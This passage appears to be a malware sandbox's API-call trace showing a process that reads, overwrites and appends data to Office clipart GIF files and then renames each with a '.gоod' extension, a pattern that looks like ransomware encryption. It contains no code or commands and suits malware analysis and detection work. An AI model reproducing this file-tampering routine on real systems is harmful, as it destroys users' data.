Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", lpFilePart=0x0) returned 0x44 [0146.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0146.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0146.514] GetFileType (hFile=0x644) returned 0x1 [0146.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0146.514] GetFileType (hFile=0x644) returned 0x1 [0146.514] ReadFile (in: hFile=0x644, lpBuffer=0x3961628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3961628*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0146.761] CloseHandle (hObject=0x644) returned 1 [0146.761] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", lpFilePart=0x0) returned 0x44 [0146.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0146.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0146.761] GetFileType (hFile=0x644) returned 0x1 [0146.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0146.761] GetFileType (hFile=0x644) returned 0x1 [0146.762] WriteFile (in: hFile=0x644, lpBuffer=0x395cdf8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x395cdf8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0146.762] CloseHandle (hObject=0x644) returned 1 [0146.762] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", lpFilePart=0x0) returned 0x44 [0146.762] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0146.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0146.762] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x53b16a46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2430)) returned 1 [0146.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0146.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.gоod")) returned 1 [0146.763] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", lpFilePart=0x0) returned 0x44 [0146.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0146.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3a5a2b0 | out: lpFileInformation=0x3a5a2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1398)) returned 1 [0146.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0146.764] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", lpFilePart=0x0) returned 0x44 [0146.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0146.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0146.764] GetFileType (hFile=0x644) returned 0x1 [0146.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0146.764] GetFileType (hFile=0x644) returned 0x1 [0146.764] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0146.764] ReadFile (in: hFile=0x644, lpBuffer=0x3a5a6c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3a5a6c8*, lpNumberOfBytesRead=0x1faedd28*=0x398, lpOverlapped=0x0) returned 1 [0147.399] CloseHandle (hObject=0x644) returned 1 [0147.489] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", lpFilePart=0x0) returned 0x44 [0147.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0147.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0147.494] GetFileType (hFile=0x7fc) returned 0x1 [0147.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0147.494] GetFileType (hFile=0x7fc) returned 0x1 [0147.494] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1398 [0147.494] WriteFile (in: hFile=0x7fc, lpBuffer=0x3700660*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3700660*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0147.494] CloseHandle (hObject=0x7fc) returned 1 [0147.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", lpFilePart=0x0) returned 0x44 [0147.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0147.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0147.494] GetFileType (hFile=0x7fc) returned 0x1 [0147.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0147.494] GetFileType (hFile=0x7fc) returned 0x1 [0147.494] ReadFile (in: hFile=0x7fc, lpBuffer=0x3702920, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3702920*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0147.526] CloseHandle (hObject=0x7fc) returned 1 [0147.526] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", lpFilePart=0x0) returned 0x44 [0147.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0147.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0147.526] GetFileType (hFile=0x7fc) returned 0x1 [0147.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0147.526] GetFileType (hFile=0x7fc) returned 0x1 [0147.527] WriteFile (in: hFile=0x7fc, lpBuffer=0x3701678*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3701678*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0147.527] CloseHandle (hObject=0x7fc) returned 1 [0147.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", lpFilePart=0x0) returned 0x44 [0147.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0147.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0147.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54263d94, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13a8)) returned 1 [0147.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0147.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.gоod")) returned 1 [0147.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", lpFilePart=0x0) returned 0x44 [0147.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0147.528] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), fInfoLevelId=0x0, lpFileInformation=0x377fde0 | out: lpFileInformation=0x377fde0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1126)) returned 1 [0147.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0147.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", lpFilePart=0x0) returned 0x44 [0147.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0147.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0147.528] GetFileType (hFile=0x7fc) returned 0x1 [0147.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0147.528] GetFileType (hFile=0x7fc) returned 0x1 [0147.528] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0147.528] ReadFile (in: hFile=0x7fc, lpBuffer=0x37801f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37801f8*, lpNumberOfBytesRead=0x1faedd28*=0x126, lpOverlapped=0x0) returned 1 [0148.277] CloseHandle (hObject=0x7fc) returned 1 [0148.277] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", lpFilePart=0x0) returned 0x44 [0148.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0148.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0148.886] GetFileType (hFile=0x7fc) returned 0x1 [0148.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0148.886] GetFileType (hFile=0x7fc) returned 0x1 [0148.886] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1126 [0148.886] WriteFile (in: hFile=0x7fc, lpBuffer=0x37ee7e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x37ee7e0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0148.886] CloseHandle (hObject=0x7fc) returned 1 [0148.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", lpFilePart=0x0) returned 0x44 [0148.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0148.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0148.887] GetFileType (hFile=0x7fc) returned 0x1 [0148.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0148.887] GetFileType (hFile=0x7fc) returned 0x1 [0148.887] ReadFile (in: hFile=0x7fc, lpBuffer=0x37f0aa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x37f0aa0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0148.914] CloseHandle (hObject=0x7fc) returned 1 [0148.914] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", lpFilePart=0x0) returned 0x44 [0148.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0148.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0148.914] GetFileType (hFile=0x7fc) returned 0x1 [0148.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0148.914] GetFileType (hFile=0x7fc) returned 0x1 [0148.915] WriteFile (in: hFile=0x7fc, lpBuffer=0x37ef7f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x37ef7f8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0148.915] CloseHandle (hObject=0x7fc) returned 1 [0148.915] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", lpFilePart=0x0) returned 0x44 [0148.915] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0148.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0148.915] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54f96fe4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1136)) returned 1 [0148.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0148.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.gоod")) returned 1 [0148.916] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF", lpFilePart=0x0) returned 0x44 [0148.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0148.916] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), fInfoLevelId=0x0, lpFileInformation=0x386cfb8 | out: lpFileInformation=0x386cfb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7e)) returned 1 [0148.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0148.917] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF", lpFilePart=0x0) returned 0x44 [0148.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0148.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0148.917] GetFileType (hFile=0x7fc) returned 0x1 [0148.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0148.917] GetFileType (hFile=0x7fc) returned 0x1 [0148.917] GetFileSize (in: hFile=0x7fc, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xf7e [0148.917] ReadFile (in: hFile=0x7fc, lpBuffer=0x386e1e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x386e1e0*, lpNumberOfBytesRead=0x1faedc88*=0xf7e, lpOverlapped=0x0) returned 1 [0148.918] CloseHandle (hObject=0x7fc) returned 1 [0149.166] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF", lpFilePart=0x0) returned 0x44 [0149.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0149.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0149.167] GetFileType (hFile=0x804) returned 0x1 [0149.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0149.168] GetFileType (hFile=0x804) returned 0x1 [0149.168] WriteFile (in: hFile=0x804, lpBuffer=0x37fa7b0*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x37fa7b0*, lpNumberOfBytesWritten=0x1faedb98*=0xf80, lpOverlapped=0x0) returned 1 [0149.169] CloseHandle (hObject=0x804) returned 1 [0149.169] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF", lpFilePart=0x0) returned 0x44 [0149.169] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0149.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0149.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, 